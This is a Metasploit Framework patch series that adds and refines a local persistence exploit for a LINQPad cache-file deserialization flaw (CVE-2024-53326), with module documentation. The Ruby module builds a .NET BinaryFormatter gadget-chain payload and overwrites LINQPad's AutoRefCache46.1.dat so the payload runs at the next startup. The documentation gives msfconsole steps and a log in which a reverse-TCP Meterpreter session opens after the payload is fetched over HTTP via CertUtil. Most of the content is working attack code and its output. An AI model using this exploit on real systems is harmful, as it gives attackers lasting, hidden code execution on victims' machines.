From 547b318848352fe8317a14eb6a1c7e646aa0c02e Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Fri, 26 Sep 2025 10:26:18 +0200 Subject: [PATCH 1/6] Moves linqpad deserialization to persistence category --- .../linqpad_deserialization_persistence.rb | 81 +++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb diff --git a/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb b/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb new file mode 100644 index 0000000000000..586a8a8607766 --- /dev/null +++ b/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb @@ -0,0 +1,81 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Local + Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html + + # includes file?, directory? + include Msf::Post::File + + # includes generate + include Msf::Util::DotNetDeserialization + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'LINQPad Deserialization Exploit', + 'Description' => %q{ + This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'msutovsky-r7 ', + 'James Williams' # original research + ], + 'Platform' => 'win', + 'SessionTypes' => [ 'shell', 'meterpreter' ], + 'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]], + 'Privileged' => true, + 'References' => [ + [ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'], + [ 'CVE', '2024-53326'] + ], + 'DisclosureDate' => '2024-12-03', + 'DefaultTarget' => 0, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']), + OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']), + OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish']) + ]) + end + + # Simplify pulling the writable directory variable + + def check + if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH']) + return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist') + elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') + return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist') + elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') + return Exploit::CheckCode::Unknown('Cannot find cache file') + elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat') + return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad') + else + return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable') + end + end + + def exploit + # generate payload + dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( + payload.encoded, # this is the Operating System command to run + gadget_chain: :TextFormattingRunProperties, + formatter: :BinaryFormatter + ) + # try to overwrite cache file + fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload) + + # add cleanup option + register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP'] + end +end From 5bf842c15edc53d1848e5db2b4efe70bb3979be4 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Sun, 28 Sep 2025 19:09:15 +0200 Subject: [PATCH 2/6] Moves module to persistence category, docs reformat --- .../persistence/linqpad_deserialization.md | 53 ++++++++++++ .../linqpad_deserialization_persistence.rb | 81 ------------------- .../linqpad_deserialization_persistence.rb | 25 ++++-- 3 files changed, 70 insertions(+), 89 deletions(-) create mode 100644 documentation/modules/exploit/windows/persistence/linqpad_deserialization.md delete mode 100644 modules/exploits/windows/local/linqpad_deserialization_persistence.rb diff --git a/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md b/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md new file mode 100644 index 0000000000000..1a3158b24ed6f --- /dev/null +++ b/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md @@ -0,0 +1,53 @@ +## Vulnerable Application + +LINQPad is a scratchpad for .NET programming. Versions prior to 5.52.01 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/LINQPad5.aspx). + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get Meterpreter/cmd shell +4. Run: `use windows/local/linqpad_deserialization_persistence` +5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters +6. Set parameters `session`, `cache_path`, `linqpad_path`, `cleanup` +7. Run exploit + +## Options + +### cleanup + +Enable cleanup of malicious file. The module will replace cache filewith malicious content. If `cleanup` is enabled, after successful execution, the module will remove malicious cache file. The original file will be restored upon re-execution of Linqpad. + +### cache\_path + +The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. + +### linqpad\_path + +Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit. + +## Scenarios + +``` +msf > use exploit/multi/handler +msf exploit(multi/handler) > set LHOST 192.168.95.128 +msf exploit(multi/handler) > set LPORT 4242 +msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp +msf exploit(multi/handler) > run +[*] Started reverse TCP handler on 192.168.95.128:4242 +[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100 + +meterpreter > background +[*] Backgrounding session 1... +msf exploit(multi/handler) > use windows/local/linqpad_deserialization_persistence +msf exploit(windows/local/linqpad_deserialization_persistence) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe +msf exploit(windows/local/linqpad_deserialization_persistence) > set payload windows/exec/cmd +msf exploit(windows/local/linqpad_deserialization_persistence) > set cache_path C:/Users/ms/AppData/Local/LINQPad +msf exploit(windows/local/linqpad_deserialization_persistence) > set CMD calc.exe +msf exploit(windows/local/linqpad_deserialization_persistence) > set session 1 +msf exploit(windows/local/linqpad_deserialization_persistence) > exploit +[*] Exploit completed, but no session was created. +``` + +Previous example will run `calc.exe` when LINQPad will start. + diff --git a/modules/exploits/windows/local/linqpad_deserialization_persistence.rb b/modules/exploits/windows/local/linqpad_deserialization_persistence.rb deleted file mode 100644 index 015d3847c0e74..0000000000000 --- a/modules/exploits/windows/local/linqpad_deserialization_persistence.rb +++ /dev/null @@ -1,81 +0,0 @@ -## -# This module requires Metasploit: https://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -class MetasploitModule < Msf::Exploit::Local - Rank = NormalRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html - - # includes file?, directory? - include Msf::Post::File - - # includes generate - include Msf::Util::DotNetDeserialization - - def initialize(info = {}) - super( - update_info( - info, - 'Name' => 'LINQPad Deserialization Exploit', - 'Description' => %q{ - This module exploits a bug in LINQPad up to version 5.52.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts. - }, - 'License' => MSF_LICENSE, - 'Author' => [ - 'msutovsky-r7 ', - 'James Williams' # original research - ], - 'Platform' => 'win', - 'SessionTypes' => [ 'shell', 'meterpreter' ], - 'Targets' => [[ 'Windows', { 'Arch' => ARCH_CMD } ]], - 'Privileged' => true, - 'References' => [ - [ 'URL', 'https://trustedsec.com/blog/discovering-a-deserialization-vulnerability-in-linqpad'], - [ 'CVE', '2024-53326'] - ], - 'DisclosureDate' => '2024-12-03', - 'DefaultTarget' => 0, - 'Notes' => { - 'Stability' => [CRASH_SAFE], - 'Reliability' => [REPEATABLE_SESSION], - 'SideEffects' => [ARTIFACTS_ON_DISK] - } - ) - ) - register_options([ - OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']), - OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']), - OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish']) - ]) - end - - # Simplify pulling the writable directory variable - - def check - if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH']) - return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist') - elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') - return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist') - elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') - return Exploit::CheckCode::Unknown('Cannot find cache file') - elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat') - return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad') - end - - Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable') - end - - def exploit - # generate payload - dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( - payload.encoded, # this is the Operating System command to run - gadget_chain: :TextFormattingRunProperties, - formatter: :BinaryFormatter - ) - # try to overwrite cache file - fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload) - - # add cleanup option - register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP'] - end -end diff --git a/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb b/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb index 586a8a8607766..f211b236b7b7a 100644 --- a/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb +++ b/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb @@ -8,10 +8,13 @@ class MetasploitModule < Msf::Exploit::Local # includes file?, directory? include Msf::Post::File + include Msf::Exploit::Local::Persistence # includes generate include Msf::Util::DotNetDeserialization + prepend Msf::Exploit::Remote::AutoCheck + def initialize(info = {}) super( update_info( @@ -45,15 +48,14 @@ def initialize(info = {}) register_options([ OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']), OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']), - OptBool.new('CLEANUP', [false, 'Restore original cache file when exploit finish']) ]) end # Simplify pulling the writable directory variable def check - if datastore['LINQPAD_PATH'].blank? || !file?(datastore['LINQPAD_PATH']) - return Exploit::CheckCode::Unknown('LINQPad binary not specified or doesn\'t exist') + if datastore['LINQPAD_FILE'].blank? || !file?(datastore['LINQPAD_FILE']) + return Exploit::CheckCode::Safe('LINQPad binary not specified or doesn\'t exist') elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist') elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') @@ -61,21 +63,28 @@ def check elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat') return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad') else - return Exploit::CheckCode::Vulnerable('LINPad and vulnerable cache file present, target possibly exploitable') + return Exploit::CheckCode::Appears('LINPad and vulnerable cache file present, target possibly exploitable') end end - def exploit + def install_persistence # generate payload + vprint_status('Create deserialization payload') + dotnet_payload = ::Msf::Util::DotNetDeserialization.generate( payload.encoded, # this is the Operating System command to run gadget_chain: :TextFormattingRunProperties, formatter: :BinaryFormatter ) + vprint_status('Saving the original content') + cached_file_content = read_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat') + backup_conf_path = store_loot(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', 'text/plain', session, cached_file_content, 'AutoRefCached46.1.dat', 'autorefcache46.1.dat backup') + vprint_status("Saved at: #{backup_conf_path}") + + @clean_up_rc << "upload #{backup_conf_path} #{datastore['CACHE_PATH']}/AutoRefCache46.1.dat" + + vprint_status('Overwriting file') # try to overwrite cache file fail_with(Failure::PayloadFailed, 'Writing payload to cache file failed') unless write_file(datastore['CACHE_PATH'] + '/AutoRefCache46.1.dat', dotnet_payload) - - # add cleanup option - register_file_for_cleanup(datastore['CACHE_PATH']) if datastore['CLEANUP'] end end From 65f764e8bc7be156b0677d54d1a85775c0fd3cac Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Tue, 30 Sep 2025 14:05:43 +0200 Subject: [PATCH 3/6] Corrects CheckCode from Vulnerable to Appears Co-authored-by: Julien Voisin --- .../windows/persistence/linqpad_deserialization_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb b/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb index f211b236b7b7a..08df6a0311818 100644 --- a/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb +++ b/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb @@ -63,7 +63,7 @@ def check elsif file?(datastore['CACHE_PATH'] + '/autorefcache46.2.dat') return Exploit::CheckCode::Safe('Contains not vulnerable version of LINQPad') else - return Exploit::CheckCode::Appears('LINPad and vulnerable cache file present, target possibly exploitable') + return Exploit::CheckCode::Appears('LINQPad and vulnerable cache file present, target possibly exploitable') end end From 44c3d9b5dbca98c6d40e788f894533635719fdb6 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Mon, 27 Oct 2025 15:42:01 +0100 Subject: [PATCH 4/6] Fixes documentation, removes unused parameters, code cleanup --- .../persistence/linqpad_deserialization.md | 56 +++++++++---------- ...sistence.rb => linqpad_deserialization.rb} | 7 +-- 2 files changed, 30 insertions(+), 33 deletions(-) rename modules/exploits/windows/persistence/{linqpad_deserialization_persistence.rb => linqpad_deserialization.rb} (88%) diff --git a/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md b/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md index 1a3158b24ed6f..c008311377afd 100644 --- a/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md +++ b/documentation/modules/exploit/windows/persistence/linqpad_deserialization.md @@ -1,53 +1,53 @@ ## Vulnerable Application -LINQPad is a scratchpad for .NET programming. Versions prior to 5.52.01 contain a deserialization vulnerability in processing cache file when program is starting. Application can be downloaded from [here](https://www.linqpad.net/LINQPad5.aspx). +LINQPad is a scratchpad for .NET programming. +Versions prior to 5.52 contain a deserialization vulnerability in processing cache file when program is starting. +Application can be downloaded from [here](https://www.linqpad.net/). + ## Verification Steps 1. Install the application 2. Start msfconsole -3. Get Meterpreter/cmd shell -4. Run: `use windows/local/linqpad_deserialization_persistence` +3. Get session +4. Run: `use windows/local/linqpad_deserialization` 5. Set payload - for example `set payload cmd/windows/generic` - and corresponding parameters 6. Set parameters `session`, `cache_path`, `linqpad_path`, `cleanup` 7. Run exploit ## Options -### cleanup - -Enable cleanup of malicious file. The module will replace cache filewith malicious content. If `cleanup` is enabled, after successful execution, the module will remove malicious cache file. The original file will be restored upon re-execution of Linqpad. ### cache\_path -The parameter sets path for folder, where vulnerable cache file is present. This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. - -### linqpad\_path +The parameter sets path for folder, where vulnerable cache file is present. +This is crucial part of the exploit as the folder can be used to identify whether the current version is vulnerable and the payload delivery is performed through cache file. -Final part of exploit runs the LINQPad to trigger deserialization procedure. The `linpad_path` parameter sets the path to LINQPad binary, which is ran at the end of exploit. ## Scenarios ``` msf > use exploit/multi/handler -msf exploit(multi/handler) > set LHOST 192.168.95.128 -msf exploit(multi/handler) > set LPORT 4242 +msf exploit(multi/handler) > set LHOST 192.168.3.7 +msf exploit(multi/handler) > set LPORT 4545 msf exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp -msf exploit(multi/handler) > run -[*] Started reverse TCP handler on 192.168.95.128:4242 -[*] Meterpreter session 1 opened (192.168.95.128:4242 -> 192.168.95.130:53430) at 2024-12-30 12:46:16 +0100 - -meterpreter > background -[*] Backgrounding session 1... -msf exploit(multi/handler) > use windows/local/linqpad_deserialization_persistence -msf exploit(windows/local/linqpad_deserialization_persistence) > set LINQPAD_FILE C:/ProgramData/LINQPad/Updates50.AnyCPU/552/LINQPad.exe -msf exploit(windows/local/linqpad_deserialization_persistence) > set payload windows/exec/cmd -msf exploit(windows/local/linqpad_deserialization_persistence) > set cache_path C:/Users/ms/AppData/Local/LINQPad -msf exploit(windows/local/linqpad_deserialization_persistence) > set CMD calc.exe -msf exploit(windows/local/linqpad_deserialization_persistence) > set session 1 -msf exploit(windows/local/linqpad_deserialization_persistence) > exploit [*] Exploit completed, but no session was created. +msf exploit(windows/persistence/linqpad_deserialization_persistence) > +[*] Fetch handler listening on 192.168.3.7:8080 +[*] HTTP server started +[*] Adding resource /LCG8z8xZZXJnz_uKNIZRPw +[*] Started reverse TCP handler on 192.168.3.7:4545 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. LINPad and vulnerable cache file present, target possibly exploitable +[*] Create deserialization payload +[*] Saving the original content +[*] Saved at: /home/ms/.msf4/loot/20251027153340_default_10.5.132.148_CUsersmsfuser_949460.txt +[*] Overwriting file +[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/WIN10_1909_BE09_20251027.3341/WIN10_1909_BE09_20251027.3341.rc +[*] Client 10.5.132.148 requested /LCG8z8xZZXJnz_uKNIZRPw +[*] Sending payload to 10.5.132.148 (Microsoft-CryptoAPI/10.0) +[*] Client 10.5.132.148 requested /LCG8z8xZZXJnz_uKNIZRPw +[*] Sending payload to 10.5.132.148 (CertUtil URL Agent) +[*] Sending stage (203846 bytes) to 10.5.132.148 +[*] Meterpreter session 2 opened (192.168.3.7:4545 -> 10.5.132.148:50045) at 2025-10-27 15:33:53 +0100 ``` - -Previous example will run `calc.exe` when LINQPad will start. - diff --git a/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb b/modules/exploits/windows/persistence/linqpad_deserialization.rb similarity index 88% rename from modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb rename to modules/exploits/windows/persistence/linqpad_deserialization.rb index 08df6a0311818..2350b74169a57 100644 --- a/modules/exploits/windows/persistence/linqpad_deserialization_persistence.rb +++ b/modules/exploits/windows/persistence/linqpad_deserialization.rb @@ -19,7 +19,7 @@ def initialize(info = {}) super( update_info( info, - 'Name' => 'LINQPad Deserialization Exploit', + 'Name' => 'LINQPad Deserialization', 'Description' => %q{ This module exploits a bug in LIQPad up to version 5.48.00. The bug is only exploitable in paid version of software. The core of a bug is cache file containing deserialized data, which attacker can overwrite with malicious payload. The data gets deserialized every time the app restarts. }, @@ -46,7 +46,6 @@ def initialize(info = {}) ) ) register_options([ - OptString.new('LINQPAD_FILE', [true, 'Path to LINQPad executable on target\'s machine']), OptString.new('CACHE_PATH', [true, 'Path to cache file directory containing deserialized data']), ]) end @@ -54,9 +53,7 @@ def initialize(info = {}) # Simplify pulling the writable directory variable def check - if datastore['LINQPAD_FILE'].blank? || !file?(datastore['LINQPAD_FILE']) - return Exploit::CheckCode::Safe('LINQPad binary not specified or doesn\'t exist') - elsif datastore['CACHE_PATH'].blank? || !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') + if !directory?(datastore['Cache_path']) || !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') return Exploit::CheckCode::Unknown('Cache directory doesn\'t exist') elsif !file?(datastore['CACHE_PATH'] + '/autorefcache46.1.dat') return Exploit::CheckCode::Unknown('Cannot find cache file') From b167a2bc7d989eccec774601a1616bf883b3d7d9 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 29 Oct 2025 07:55:27 +0100 Subject: [PATCH 5/6] Adds moved_from clause --- modules/exploits/windows/persistence/linqpad_deserialization.rb | 2 ++ 1 file changed, 2 insertions(+) diff --git a/modules/exploits/windows/persistence/linqpad_deserialization.rb b/modules/exploits/windows/persistence/linqpad_deserialization.rb index 2350b74169a57..f113dbca54f15 100644 --- a/modules/exploits/windows/persistence/linqpad_deserialization.rb +++ b/modules/exploits/windows/persistence/linqpad_deserialization.rb @@ -15,6 +15,8 @@ class MetasploitModule < Msf::Exploit::Local prepend Msf::Exploit::Remote::AutoCheck + moved_from 'exploits/windows/local/linqpad_deserialization_persistence' + def initialize(info = {}) super( update_info( From ee3058bf92bbcdeb272d6c4e1453b086b8a7da89 Mon Sep 17 00:00:00 2001 From: Martin Sutovsky Date: Wed, 29 Oct 2025 15:14:29 +0100 Subject: [PATCH 6/6] Removes moved_from --- .../exploits/windows/persistence/linqpad_deserialization.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/modules/exploits/windows/persistence/linqpad_deserialization.rb b/modules/exploits/windows/persistence/linqpad_deserialization.rb index f113dbca54f15..efb2e4533eead 100644 --- a/modules/exploits/windows/persistence/linqpad_deserialization.rb +++ b/modules/exploits/windows/persistence/linqpad_deserialization.rb @@ -12,11 +12,8 @@ class MetasploitModule < Msf::Exploit::Local # includes generate include Msf::Util::DotNetDeserialization - prepend Msf::Exploit::Remote::AutoCheck - moved_from 'exploits/windows/local/linqpad_deserialization_persistence' - def initialize(info = {}) super( update_info(